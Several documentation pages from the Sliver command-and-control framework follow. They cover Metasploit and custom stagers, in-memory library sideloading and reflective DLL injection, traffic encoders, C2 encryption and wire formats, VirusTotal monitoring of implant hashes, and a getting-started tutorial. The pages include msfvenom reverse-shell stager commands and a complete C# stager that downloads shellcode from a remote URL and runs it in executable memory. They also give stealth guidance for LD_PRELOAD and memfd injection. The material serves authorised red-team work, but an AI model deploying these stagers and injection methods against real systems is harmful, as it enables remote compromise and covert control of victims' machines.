sliver > jobs

ID  Name  Protocol  Port
==  ====  ========  ====
1   http  tcp       1234
2   mtls  tcp       8888
```

### Metasploit: Bring Your Own Stager

**Using Metasploit stagers is only supported on Windows.**

> **Note:** The Sliver `generate stager` command has been removed and will no longer
> work. Generate stagers using Metasploit's `msfvenom` (or write your own custom
> stager, see [Custom Stagers](#custom-stagers) below).

#### Generating an HTTP(S) stager
If you want to use [stagers generated by the Metasploit Framework with Sliver](https://www.rapid7.com/blog/post/2022/09/16/metasploit-weekly-wrap-up-176/) (using `msfconsole` or `msfvenom`), you will need to pass the additional `--prepend-size` flag to `stage-listener`, like this:

```
sliver > stage-listener --url http://192.168.122.1:1234 --profile win-shellcode --prepend-size
```

This will prepend the size of the payload to the final binary sent to the stager, as required by Metasploit's `custom` payloads.

Sliver staging listeners only accept `tcp://`, `http://` and `https://` schemes for the `--url` flag. The format for this flag is `scheme://IP:PORT`. If no value is specified for `PORT`, an error will be thrown out.

Either `msfconsole` or `msfvenom` can be used directly to generate stager shellcodes or binaries with the `custom` payload type:

```
msfvenom --payload windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LURI=/hello.woff --format raw --out /tmp/stager.bin
```

**Remark**: At the moment, the `custom/reverse_http` payload is not compatible with Sliver shellcodes (the stager crashes). However, one can use the `custom/reverse_winhttp` payload instead.

Depending on the payload you choose, you can specify additional options, such as HTTP proxy settings. Use the `msfvenom` flag `--list-options` with a payload type or `show advanced` in `msfconsole`.

#### Generating a TCP stager
Use the `stage-listener` command to set up a listener that will send the binary to the stager:

```
silver > stage-listener --url tcp://192.168.122.1:1234 --profile win-shellcode --prepend-size
```

Notice that we are using the `tcp://` scheme because this is a TCP stager. The `--prepend-size` option is still necessary because we will be using Metasploit.

As above, either `msfconsole` or `msfvenom` can be used directly to generate stager shellcodes or binaries with the `custom` payload type. Here is an example using `msfvenom`:

```
# LHOST and LPORT should correspond to the --url parameter of your stage-listener command

msfvenom --payload windows/x64/custom/reverse_tcp LHOST=192.168.122.1 LPORT=1234 --format raw --out /tmp/stager.bin
```

## Custom Stagers

One thing to consider while writing or using a custom stager, especially for the HTTP protocol, is that the Sliver server will only serve stage 2 payloads on specifically defined URLs. Indeed, since the HTTP staging listener is reusing the regular HTTP listener, it follows the same [procedural HTTP protocol](/docs?name=HTTPS+C2).

The default file extension used to retrieve a stage 2 payload is `.woff`. It can be configured in the [HTTP C2 options](/docs?name=HTTPS+C2) using the `stager_file_ext` setting.

As a result, if you want to implement your own stager to fetch a stage 2 payload via HTTP, you need to query a URL that looks like this: `http://SLIVER-SERVER:STAGING-PORT/whatever.woff`.

Here is a C# example of a custom HTTP stager, make sure to compile the C# code for the correct CPU architecture e.g. `/platform:x64`:

```csharp
using System;
using System.Net;
using System.Runtime.InteropServices;

namespace SliverStager
{
    public class Stager
    {
        private static string url = "http://a.bc/test.woff";

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        public static void DownloadAndExecute()
        {
            ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
            System.Net.WebClient client = new System.Net.WebClient();
            byte[] shellcode = client.DownloadData(url);
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
            Marshal.Copy(shellcode, 0, addr, shellcode.Length);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }

        public static void Main(String[] args)
        {
            DownloadAndExecute();
        }
    }
}
```

## Encrypted Stage Example

Sliver supports encryption and compression when serving stages. Compression options are `zlib`, `gzip`, and `deflate` (level 9). Encryption is done via AES-CBC-128, since this encryption is primarily for obfuscation we don't really need a more secure cipher mode.

```
stage-listener --url http://192.168.0.52:80 --profile win-shellcode --aes-encrypt-key D(G+KbPeShVmYq3t --aes-encrypt-iv 8y/B?E(G+KbPeShV
```

If aes-encrypt-iv is not set it defaults to `0000000000000000`. After the stage generation is completed AES key and iv are displayed. Note that this example does not include compression:

```
/* Detailed source-code truncated for AI context efficiency. */
```

---

### Sliver Docs Pages Docs Md Themes (`docs/sliver-docs/pages/docs/md/Themes.md`)

### Console Themes

Sliver’s interactive consoles (both `sliver-client` and the server-only console) use a theme file to drive all lipgloss styling.

- Theme path: `~/.sliver-client/theme.yaml`
- Settings path: `~/.sliver-client/tui-settings.yaml`

If `theme.yaml` is missing, Sliver will create it with the default palette.

#### Palette Structure

`theme.yaml` defines six palettes:

- `primary`
- `secondary`
- `default`
- `success`
- `warning`
- `danger`

Each palette has a base `default` color and a set of modifier colors (`50..900`):

```yaml
primary:
  default: "#006FEE"
  mods:
    50:  "#001731"
    100: "#002e62"
    200: "#004493"
    300: "#005bc4"
    400: "#006FEE"
    500: "#338ef7"
    600: "#66aaf9"
    700: "#99c7fb"
    800: "#cce3fd"
    900: "#e6f1fe"
```

### Prompt Settings

The console prompt is configurable via `tui-settings.yaml`:

```yaml
prompt: "host"
prompt_template: |
  {{- if .IsServer -}}
  {{ .Styles.Bold.Render "[server]" }} {{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} >
  {{- else -}}
  {{- if .Host -}}{{ .Styles.BoldPrimary.Render (printf "[%s]" .Host) }} {{- end -}}
  {{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} >
  {{- end -}}
```

#### `prompt` Modes

- `operator-host`
  - `sliver-client`: `[operator@host] sliver >`
  - server console: `[server] sliver >`
- `host`
  - `sliver-client`: `[host] sliver >`
  - server console: `[server] sliver >`
- `basic`
  - both: `sliver >`
- `custom`
  - the entire prompt text is rendered from `prompt_template` (Go `text/template`)
  - if rendering fails, Sliver falls back to a minimal prompt: ` > `

### Custom Prompt Templates

When `prompt: custom`, Sliver evaluates `prompt_template` as a Go `text/template` every time the prompt is displayed.

#### Template Variables

Top-level values:

- `.IsServer` (bool)
- `.Connected` (bool)
- `.Operator` (string)
- `.Host` (string)
- `.Port` (int)
- `.HostPort` (string, `host:port` when available)
- `.Now` (time)

Active target:

- `.Target.SessionName` (string)
- `.Target.BeaconName` (string)
- `.Target.Suffix` (string)
  - pre-rendered themed suffix matching the default prompt, like ` (my-session)` when a session or beacon is selected

Theme colors:

- `.Colors.Primary.Default`
- `.Colors.Primary.Mods` (map; use `index`, e.g. `index .Colors.Primary.Mods 500`)
- same structure for `.Colors.Secondary`, `.Colors.Default`, `.Colors.Success`, `.Colors.Warning`, `.Colors.Danger`

Theme styles (lipgloss styles already wired to `theme.yaml`):

- `.Styles.Bold`, `.Styles.Underline`
- `.Styles.Primary`, `.Styles.Secondary`, `.Styles.Default`, `.Styles.Success`, `.Styles.Warning`, `.Styles.Danger`
- `.Styles.BoldPrimary`, `.Styles.BoldSecondary`, `.Styles.BoldDefault`, `.Styles.BoldSuccess`, `.Styles.BoldWarning`, `.Styles.BoldDanger`
- legacy names: `.Styles.Red`, `.Styles.Green`, `.Styles.Orange`, `.Styles.Blue`, `.Styles.Purple`, `.Styles.Cyan`, `.Styles.Gray`, `.Styles.Black`

#### Examples

Show user and host (client), show server tag (server console):

```gotemplate
{{- if .IsServer -}}
{{ .Styles.Bold.Render "[server]" }} {{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} >
{{- else -}}
{{- if and .Operator .Host -}}
{{ .Styles.BoldPrimary.Render (printf "[%s@%s]" .Operator .Host) }} 
{{- else if .Host -}}
{{ .Styles.BoldPrimary.Render (printf "[%s]" .Host) }} 
{{- end -}}
{{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} >
{{- end -}}
```

Basic prompt everywhere:

```gotemplate
{{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} >
```

Use a lighter primary modifier for the host tag:

```gotemplate
{{- $c := index .Colors.Primary.Mods 500 -}}
{{- if .Host -}}{{ (.Styles.Bold.Foreground $c).Render (printf "[%s]" .Host) }} {{- end -}}
{{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} >
```

---

### Sliver Docs Pages Docs Md Third Party Tools (`docs/sliver-docs/pages/docs/md/Third Party Tools.md`)

## Sideloading Features

Sliver implants support three different ways of loading third party tools:

- `execute-assembly`
- `sideload`
- `spawndll`

## Known Limitations

Arguments passed to .NET assemblies and non-reflective PE extensions are limited to 256 characters. This is due to a limitation in the Donut loader Sliver is using. A workaround for .NET assemblies is to execute them in-process, using the `--in-process` flag, or a custom BOF extension like `inline-execute-assembly`. There is currently no workaround for non-reflective PE extension.

## Loading .NET Assemblies

This feature is only supported on Windows.

Using `execute-assembly`, one can run an arbitrary .NET assembly on a remote system via a Sliver implant. The implant will start a sacrificial process (`notepad.exe` by default, you can change this by using the `--process`) that will host a reflective DLL used to load the .NET CLR. The assembly will then be copied into this process and a new thread will start on the reflective DLL entrypoint, which will load and run the assembly in memory.

Here's an example with [Seatbelt](https://github.com/GhostPack/Seatbelt):

```
/* Detailed source-code truncated for AI context efficiency. */
```

## Shared Library Side Loading

The `sideload` command allows to load and run code in-memory (Windows/Linux) or via dropping a temporary file to disk (MacOS). On Windows, the DLL will be converted to a shellcode via [sRDI](https://github.com/monoxgas/sRDI) and injected into a sacrificial process.

On Linux systems, Sliver uses the `LD_PRELOAD` technique to preload a shared library previously written in a memory file descriptor using the `memfd_create` syscall. That way, no file is stored on disk, which grants the implant a bit of stealth. The shared library is preloaded in a sacrificial process, which is `/bin/ls` by default.

On MacOS systems, Sliver uses the `DYLD_INSERT_LIBRARIES` environment variable to preload a dynamic library into a program, chosen by the operator. The target program must allow unsigned libraries to be loaded that way.

No specific operation is performed by Sliver for Linux and Mac OS shared libraries, which means it's up to the operator to build their shared libraries to execute whenever they see fit. A good starting point would be using the `constructor` attribute for MacOS shared libraries, or adding a `.init_array` section for the Linux version.

Sliver will use the `LD_PARAMS` environment variable to pass arguments to the sideloaded libraries. Thus, the library can just read this environment variable to retrieve parameters and act accordingly.

Here's a starting point :

```c
#if __linux__
#include <stdlib.h>

void DoStuff();

static void init(int argc, char **argv, char **envp)
{
    // unset LD_PRELOAD to prevent sub processes from misbehaving
    unsetenv("LD_PRELOAD");
    // retrieve the LD_PARAMS value
    // unset LD_PARAMS if there's no need for it anymore
    unsetenv("LD_PARAMS");
    DoStuff();
}
__attribute__((section(".init_array"), used)) static typeof(init) *init_p = init;
#elif __APPLE__
void DoStuff();

__attribute__((constructor)) static void init(int argc, char **argv, char **envp)
{
    // unset DYLD_INSERT_LIBRARIES to prevent sub processes from misbehaving
    unsetenv("DYLD_INSERT_LIBRARIES");
    // retrieve the LD_PARAMS value
    // unset LD_PARAMS if there's no need for it anymore
    unsetenv("LD_PARAMS");
    DoStuff();
}

#endif
```

Don't forget to unset the `LD_PRELOAD` or `DYLD_INSERT_LIBRARIES` environment variables, otherwise any sub process started by your shared library or host process will be preloaded with your shared library.

To side load a shared library, use the `sideload` command like this:

```
// Windows example
sliver (CONCRETE_STEEL) > sideload -e ChromeDump /tmp/chrome-dump.dll
// Linux example
sliver (CONCRETE_STEEL) > sideload -p /bin/bash -a "My arguments" /tmp/mylib.so
// MacOS example
sliver (CONCRETE_STEEL) > sideload -p /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment -a 'Hello World' /tmp/mylib.dylib
```

Please be aware that you need to specify the entrypoint to execute for Windows DLLs.

## Loading Reflective DLLs

Loading reflective DLLs is just a special case of side loading DLLs. To make things easier, the `spawndll` command allows you to inject reflective DLLs and run them in a remote process.

Here's an example with the `PsC` tool from [Outflank's Ps-Tools suite](https://github.com/outflanknl/Ps-Tools):

```
sliver (CONCRETE_STEEL) > spawndll /tmp/Outflank-PsC.dll blah
[*] Output:

--------------------------------------------------------------------
[+] ProcessName:         svchost.exe
    ProcessID:   2960
    PPID:        576 (services.exe)
    CreateTime:  19/05/2020 10:53
    Path:        C:\Windows\System32\svchost.exe
    ImageType:   64-bit
    CompanyName:         Microsoft Corporation
    Description:         Host Process for Windows Services
    Version:     10.0.18362.1

<-> Session:     TCP
    State:       ESTABLISHED
    Local Addr:  172.16.241.128:49819
    Remote Addr:         40.67.251.132:443

--------------------------------------------------------------------
[+] ProcessName:         CONCRETE_STEEL.exe
    ProcessID:   7400
    PPID:        5440 (explorer.exe)
    CreateTime:  19/05/2020 10:54
    SessionID:   1
    Path:        C:\Users\lab\Desktop\CONCRETE_STEEL.exe
    ImageType:   64-bit
    UserName:    DESKTOP-0QQJ4JL\lab
    Integrity:   Medium
    PEB Address:         0x0000000000352000
    ImagePath:   C:\Users\lab\Desktop\CONCRETE_STEEL.exe
    CommandLine:         "C:\Users\lab\Desktop\CONCRETE_STEEL.exe"

<-> Session:     TCP
    State:       ESTABLISHED
    Local Addr:  172.16.241.128:49687
    Remote Addr:         172.16.241.1:8888
```

Note that in this case, the entrypoint of the reflective DLL (`ReflectiveLoader`) expects a non NULL parameter, which is why we passed a dummy parameter `blah`.

---

### Sliver Docs Pages Docs Md Traffic Encoders (`docs/sliver-docs/pages/docs/md/Traffic Encoders.md`)

Sliver v1.6 supports user-defined "Traffic Encoders," which can be used to arbitrarily modify the Sliver implant's network communication over HTTP(S). Traffic Encoders are [Wasm-based](https://webassembly.org/) callback functions that encode/decode network traffic between the implant and the server. Traffic Encoders can be written in any language that compiles to [Wasm](https://webassembly.org/). Traffic Encoders are supported on all platforms and CPU architectures that Sliver can target, though performance may vary significantly.

[Examples](https://github.com/BishopFox/sliver/tree/v1.6.0/server/assets/traffic-encoders) are provided in this repository of a [Rust](https://www.rust-lang.org/)-based and a [TinyGo](https://tinygo.org/)-based encoder. For performance reasons we recommend implementing Traffic Encoders in Rust.

For performance reasons, by default C2 messages over 2 MB in size are NOT passed through user-defined Traffic Encoders, but instead always use a native built-in encoder; this limit can be configured at implant generation-time.

## Traffic Encoder Specification

### Exports

Traffic encoders are implemented in Wasm, and must export the following functions:

```go
decode(ptr, size uint32) (ptrSize uint64)
encode(ptr, size uint32) (ptrSize uint64)

malloc(size uint32) uint64
free(ptr uint32, size uint32)
```

The `encode` function takes a `uint32` pointer to a buffer and the `uint32` size of the buffer, and returns a `uint64` value where the upper 32 bits are a pointer to the address of the buffer and the lower 32 bits are the size of the buffer.

The `decode` function takes a `uint32` pointer to a buffer and the `uint32` size of the buffer, and returns a `uint64` value where the upper 32 bits are a pointer to the address of the buffer and the lower 32 bits are the size of the buffer.

The `malloc` function takes a `uint64` size. The function should allocate a buffer of the given size in bytes, and return a pointer to.

The `free` function takes a pointer to memory which should be freed and a size.

For example, a return value in Go may look like:

```go
return (uint64(ptr) << uint64(32)) | uint64(size)
```

Where `ptr` is a pointer to the buffer and `size` is the size of the buffer.

### Imports

Optionally, the following imports may be used:

```go
log(ptr uint32, size uint32)
rand() uint64
time() int64
```

The `log` function takes a pointer to a buffer and the size of the buffer, and logs the contents of the buffer to the console if the implant is in debug mode. The server will also log the contents if configured to log at the DEBUG level or higher.

The `rand()` function returns 64-bits of cryptographically secure random data.

The `time()` function returns the current Unix Nano time as an `int64`.

---

### Sliver Docs Pages Docs Md Transport Encryption (`docs/sliver-docs/pages/docs/md/Transport Encryption.md`)

**⚠️ NOTE:** This document does not apply when mTLS or WireGuard are used.

# Sliver v1.6.x

The following keys are embedded in each implant at compile time; the server also stores these values in its database, along with the SHA2-256 hash of the implant's peer public key:

1. Age public key of server
2. Age implant "peer" public key
3. Age implant "peer" private key
4. A minisign signature of the implant's age peer public key (signed by server's private key)
5. The server's minisign public key

### Server to Implant Key Exchange

1. Implant generates random 256-bit symmetric "session key"
2. Implant generates:

- Calculate the HMAC-SHA2-256 of the session key, where the HMAC key is the SHA2-256 hash of the peer private key
- Uses Age to encrypt the session key and HMAC-SHA256 with the server's public key

3. Implant sends `[SHA2-256 Hash of Public Key | Age Ciphertext ]` to server.
4. Server decrypts message with its private key
5. Server generates a session ID, encrypts it with the session key using ChaCha20Poly1305, and sends it back
6. All messages are encrypted with the session key using ChaCha20Poly1305 and associated with the session ID
7. Each side stores a SHA2-256 hash of each message's ciphertext to detect replayed messages

### Implant to Implant Key Exchange (Pivots)

1. An implant starts a pivot listener (the listener)
2. Another implant connects to the listener (the initiator)
3. The initiator sends its Age public key and the minisign signature of its public key
4. The listener verifies the initiator's public key is signed by the listener's server's minisign public key
5. The listener generates a random session key and encrypts it with the initiator's verified public key
6. The listener sends its Age public key, the minisign signature of its public key, and the encrypted session key back to the initiator
7. The initiator verifies the listener's public key is signed by the initiator's server's minisign public key
8. The initiator decrypts the session key using Age
9. All messages are encrypted with the session key using ChaCha20Poly1305
10. Each side stores a SHA2-256 hash of each message's ciphertext to detect replayed messages
11. The initiator then performs a key exchange with the server using the server's embedded Age public key and the same pattern described above. This prevents upstream implants (i.e. the listener) from being able to decrypt any traffic sent between the initiator and the server.

### Known Limitations

There are some known limitations, if you spot any or have ideas on improvements please file a ticket or contact us.

1. Perfect Forward Secrecy: We do get some forward secrecy, since only the public-key-encrypted version of the session key is sent over the wire; therefore, recovery of the hard-coded implant keys from the binary should not result in recovery of the session key. Only when the server's private key is compromised can the session key be recovered, which we currently don't consider to be a problem.
2. Implants can potentially be tracked via the hash of their public key. However, this value is implant-specific, so in order to track the implant this way you'd have to already have a copy of the specific implant you want to track. At which point more effective tracking mechanisms like YARA rules could be employed.
3. While messages cannot be replayed, valid messages can potentially be re-ordered.

---

### Sliver Docs Pages Docs Md Troubleshooting (`docs/sliver-docs/pages/docs/md/Troubleshooting.md`)

### Server logs

Server related logs are saved to: `~/.sliver/logs/`

- `sliver.log` is the main log file for server related events
- `console.log` is the log of the server's built-in "client" console
- `sliver.json` JSON formatted log (includes timestamps)
- `audit.json` a JSON formatted history of commands/activity

The default log level for the server is `INFO` when troubleshooting it may be helpful to increase this to `DEBUG` (5), which can be done by editing the [server configuration file](/docs?name=Configuration+Files)

### Client logs

`~/.sliver-client/sliver-client.log`

## Implant Troubleshooting

If you need to trouble shoot an issue (connectivity, etc) with an implant try generating it with the `--debug` flag.

---

### Sliver Docs Pages Docs Md Watchtower (`docs/sliver-docs/pages/docs/md/Watchtower.md`)

The Sliver server has a built-in capability to periodically monitor VirusTotal and IBM X-Force for implant hashes to determine whether implant builds have been uploaded to such platform.
To set it up, update your `$HOME/.sliver/configs/server.json` and set the following values in the `watchtower` object:

```json
{
  "watch_tower": {
    "vt_api_key": "YOUR_VIRUSTTOTAL_API_KEY",
    "xforce_api_key": "YOUR_XFORCE_API_KEY",
    "xforce_api_password": "YOUR_XFORCE_API_PASSWORD"
  }
}
```

Once that is done, restart the Sliver server. You can now use the `monitor start` and `monitor stop` commands to start and stop periodic monitoring of your implant builds on VirusTotal and IBM X-Force.
The server is configured to stay below the limits of requests for the free tier component for each providers. This means 4 requests per minute / 500 requests per day for VirusTotal, and 6 requests per hour for X-Force. More details on the implementation can be found [here](https://github.com/lesnuages/snitch).

---

### Sliver Docs Pages Docs Md Wireguard C2 (`docs/sliver-docs/pages/docs/md/Wireguard C2.md`)

This page documents the current implant C2 WireGuard transport implementation used between `server/` and `implant/` code paths.

**Scope:** This is about implant callbacks over the `wg` listener, not operator multiplayer mode.

## Listener and Tunnel Setup

Server-side setup is implemented in `server/c2/wireguard.go` (`StartWGListener`):

1. Creates a netstack TUN with server-side tunnel IP `100.64.0.1`.
1. Loads or generates server WireGuard keys.
1. Configures a WireGuard device with known peer keys and `/32` allowed IPs.
1. Starts two TCP listeners inside the WireGuard tunnel:
   - key exchange port (default `1337`)
   - C2 transport port (default `8888`)
1. Exposes the WireGuard UDP listener (default `53`).

Defaults come from `server/rpc/rpc-jobs.go`:

- WireGuard UDP listener: `53`
- In-tunnel C2 TCP port (`NPort`): `8888`
- In-tunnel key exchange TCP port (`KeyPort`): `1337`

## Implant Connection Sequence

Implant-side transport is implemented in `implant/sliver/transports/wireguard/wireguard.go`:

1. The implant is generated with embedded WireGuard values:
   - initial implant private key
   - server public key
   - peer TUN IP
   - key-exchange and C2-in-tunnel ports
1. Implant brings up an initial WireGuard interface using those embedded values.
1. Implant dials the server key-exchange endpoint at `100.64.0.1:<key-exchange-port>`.
1. Server returns session WireGuard material and a session tunnel IP.
1. Implant tears down the initial WireGuard interface.
1. Implant brings up a new WireGuard interface using the session values.
1. Implant dials `100.64.0.1:<tcp-comms-port>`.
1. Implant sends `MUX/1` yamux preface and starts yamux.

After repeated failures, the implant will refresh session keys by running key exchange again.

## Key Exchange Payload Format

The key-exchange response payload is a fixed 146-byte message:

```mermaid:minh=444
%%{init: {'packet': {'bitsPerRow': 40, 'bitWidth': 24, 'rowHeight': 72}}}%%
packet-beta
title WireGuard Session Key Exchange Payload (146 bytes)
0-63: "Sess PrivKey (hex)"
64: "|"
65-128: "Server PubKey (hex)"
129: "|"
130-145: "Sess TUN IP (16B)"
```

Notes:

- `Sess PrivKey (hex)` is the new implant WireGuard private key (64 hex chars).
- `Server PubKey (hex)` is the server WireGuard public key (64 hex chars).
- `Sess TUN IP (16B)` is raw `net.IP` bytes (not dotted string encoding).

## C2 Envelope Wire Format (Per Yamux Stream)

Each yamux stream carries a single framed envelope:

`[raw minisign signature | uint32 little-endian payload length | protobuf envelope payload]`

```mermaid:minh=444
%%{init: {'packet': {'bitsPerRow': 32, 'bitWidth': 30, 'rowHeight': 72}}}%%
packet-beta
title WireGuard C2 Envelope Frame (byte offsets, per yamux stream)
0-1: "Alg"
2-9: "Key ID"
10-73: "Ed25519 Signature"
74-77: "Len"
78-109: "Payload (protobuf sliverpb.Envelope, continues...)"
```

Notes:

- Diagram offsets are bytes (not bits) for readability.
- `Alg` = LE `uint16` (`0x6445`, EdDSA).
- `Key ID` = LE `uint64`.
- `Len` = LE `uint32` protobuf payload length.
- Raw signature size is fixed at 74 bytes: `2 + 8 + 64`.
- Length is payload length only (it does not include signature bytes).

## Envelope Payload

The payload is `sliverpb.Envelope` from `protobuf/sliverpb/sliver.proto`:

- `ID` (`int64`) request/response correlation
- `Type` (`uint32`) message type
- `Data` (`bytes`) message body
- `UnknownMessageType` (`bool`) set by implants for unsupported message types

## Message Authentication Details

Like mTLS, WireGuard C2 signs each envelope payload in addition to transport-layer encryption.

### Implant -> Server

- Implant signs marshaled envelope payloads in `implant/sliver/transports/wireguard/wireguard.go` (`WriteEnvelope`).
- Signing key derivation is deterministic from implant `PeerPrivateKey`:
  - seed = `sha256("env-signing-v1:" + peerPrivateKey)`
  - ed25519 keypair from that seed
  - key ID = first 8 bytes of `blake2b(pubKey)` as LE `uint64`
- Server verifies in `server/c2/wireguard.go` (`socketWGReadEnvelope`) by:
  - checking `EdDSA` algorithm
  - resolving key ID to an implant signing public key
  - verifying signature with ed25519

### Server -> Implant

- Server signs payloads in `server/c2/wireguard.go` (`socketWGWriteEnvelope`) using server minisign private key.
- Implant verifies in `implant/sliver/transports/wireguard/wireguard.go` (`ReadEnvelope`) using embedded server minisign public key (`MinisignVerifyRaw`).

## Runtime Behavior

- Server rejects legacy WireGuard C2 connections that do not send the `MUX/1` preface.
- Session mode sends in-band pings every 2 minutes (`PingInterval`) using `MsgPing`.
- Beacon mode and session mode both use one envelope per yamux stream.
- Server enforces max inbound payload size of `(2 * 1024 * 1024 * 1024) - 1` bytes.

---

### Sliver Docs Pages Docs Md MTLS C2 (`docs/sliver-docs/pages/docs/md/mTLS C2.md`)

This page documents the current implant C2 mTLS transport implementation used between `server/` and `implant/` code paths.

**Scope:** This is about implant callbacks over the `mtls` listener, not operator multiplayer gRPC/mTLS mode.

## Connection Setup

The server listener implementation lives in `server/c2/mtls.go` (`StartMutualTLSListener`):

1. Starts a TLS listener (`tls.Listen`) for the configured bind/port.
1. Requires and verifies client certificates (`ClientAuth: tls.RequireAndVerifyClientCert`).
1. Uses the implant mTLS CA (`certs.MtlsImplantCA`) and enforces TLS 1.3 (`MinVersion: tls.VersionTLS13`).

The implant-side transport lives in `implant/sliver/transports/mtls/mtls.go` (`MtlsConnect` / `getTLSConfig`):

1. Dials TLS with an embedded implant cert/key and CA bundle.
1. Uses root validation via `RootOnlyVerifyCertificate(...)`.
1. Sends a yamux preface string (`MUX/1`) after TLS connects.

After the preface, both sides use yamux multiplexing:

- Server: `yamux.Server(...)` in `server/c2/mtls.go`
- Implant session/beacon: `yamux.Client(...)` in `implant/sliver/transports/session.go` and `implant/sliver/transports/beacon.go`

Each C2 envelope is sent over a yamux stream and then the stream is closed.

## mTLS Wire Format (Per Yamux Stream)

Each stream carries a single framed message:

`[raw minisign signature | uint32 little-endian payload length | protobuf envelope payload]`

```mermaid:minh=444
%%{init: {'packet': {'bitsPerRow': 32, 'bitWidth': 30, 'rowHeight': 72}}}%%
packet-beta
title mTLS C2 Envelope Frame (byte offsets, per yamux stream)
0-1: "Alg"
2-9: "Key ID"
10-73: "Ed25519 Signature"
74-77: "Len"
78-109: "Payload (protobuf sliverpb.Envelope, continues...)"
```

Notes:

- Diagram offsets are bytes (not bits) for readability.
- `Alg` = LE `uint16` (`0x6445`, EdDSA).
- `Key ID` = LE `uint64`.
- `Len` = LE `uint32` protobuf payload length.
- Raw signature size is fixed at 74 bytes: `2 + 8 + 64`.
- Length is the protobuf payload length only (it does not include signature bytes).

## Envelope Payload

The payload is `sliverpb.Envelope` from `protobuf/sliverpb/sliver.proto`:

- `ID` (`int64`) request/response correlation
- `Type` (`uint32`) message type
- `Data` (`bytes`) message body
- `UnknownMessageType` (`bool`) set by implants for unsupported message types

## Message Authentication Details

Sliver signs each envelope payload even though the channel is already mTLS-protected.

### Implant -> Server

- Implant signs the marshaled `sliverpb.Envelope` payload in `implant/sliver/transports/mtls/mtls.go` (`WriteEnvelope`).
- Signing key derivation is deterministic from the implant peer private key:
  - seed = `sha256("env-signing-v1:" + peerPrivateKey)`
  - ed25519 keypair from that seed
  - key ID = first 8 bytes of `blake2b(pubKey)` as little-endian uint64
- Server verifies in `server/c2/mtls.go` (`socketReadEnvelope`):
  - algorithm must be `EdDSA`
  - key ID resolves to an implant signing public key via implant build metadata
  - signature is verified with ed25519

### Server -> Implant

- Server signs payloads in `server/c2/mtls.go` (`socketWriteEnvelope`) using the server minisign private key (`SignRawBuf`).
- Implant verifies in `implant/sliver/transports/mtls/mtls.go` (`ReadEnvelope`) using the embedded server minisign public key (`MinisignVerifyRaw`).

## Runtime Behavior

- Server rejects legacy mTLS connections that do not send the `MUX/1` preface.
- Session mode sends in-band pings every 2 minutes (`PingInterval`) using `MsgPing`.
- Server enforces a max inbound payload size of `(2 * 1024 * 1024 * 1024) - 1` bytes.

---

### Sliver Docs Pages Tutorials Md 1   Getting Started (`docs/sliver-docs/pages/tutorials/md/1 - Getting Started.md`)

`sliver-server` is the binary you want to use to run the Sliver C2 server, `sliver-client` is solely a client to connect to a Sliver C2 server. Sliver server also acts as a client on its own, so you don’t necessarily run sliver server and client separately.

First time running Sliver will take a couple seconds as it's retrieving its dependencies. Consecutive executions will be much faster. Go ahead and launch the `sliver-server`.

```asciinema
{"src": "/asciinema/startup.cast", "cols": "132", "rows": "28", "idleTimeLimit": 8}
```

Let's take a couple minutes to discuss what Sliver actually is and how it's set up.



Now that Sliver is running, lets generate and execute your first implant to try out some of the basic features of Sliver, for now we’re going to run everything on the local host.

Here's what we're going to do: 
* Generate your implant using the `generate` command as shown below.
* Start HTTP listener on port 80
* Execute implant in a separate terminal

```asciinema
{"src": "/asciinema/first-implant.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```

Now let’s select our implant and run our first command using the `use` command.

```bash
[server] sliver > use
? Select a session or beacon: 
SESSION  1884a365  RELATED_EARDRUM  [::1]:49153      test.local  tester  darwin/amd64
[*] Active session RELATED_EARDRUM (1884a365-085f-4506-b28e-80c481730fd0)

[server] sliver (RELATED_EARDRUM) > pwd

[*] /Users/tester/tools
```

Once you have reached this point, go ahead and explore some of the commands listed below. In each case, first check out the command's help using the **`-h`** flag then try it out!

```bash
Exploring and interacting with the filesystem

Filesystem
  cat               Dump file to stdout
  cd                Change directory
  cp                Copy a file
  download          Download a file
  grep              Search for strings that match a regex within a file or directory
  head              Grab the first number of bytes or lines from a file
  ls                List current directory
  mkdir             Make a directory
  mv                Move or rename a file
  pwd               Print working directory
  rm                Remove a file or directory
  tail              Grab the last number of bytes or lines from a file
  upload            Upload a file
```

```asciinema
{"src": "/asciinema/filesystem.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```

Getting some environmental information
```bash
Info
  env               List environment variables
  getgid            Get session process GID
  getpid            Get session pid
  getuid            Get session process UID
  info              Get session info
  ping              Send round trip message to implant (does not use ICMP)
  whoami            Get session user execution context
```
Execute a binary

```asciinema
{"src": "/asciinema/execute.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```

Running an interactive shell

```asciinema
{"src": "/asciinema/shell.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```

Not all commands are supported for all operating systems or meant to be used on all operating systems, here are a few examples:

```
mount             Get information on mounted filesystems (only for Windows and Linux)
screenshot        Take a screenshot (only for Windows and Linux)
memfiles          List current memfiles (Linux only)
```

This is an open-source project if you see a bug please file an issue! Pull requests are always welcome.

---

### Sliver Docs Pages Tutorials Md 2   Beacons Vs Sessions (`docs/sliver-docs/pages/tutorials/md/2 - Beacons vs Sessions.md`)

Sliver implants support two types of connections, sessions and beacons.

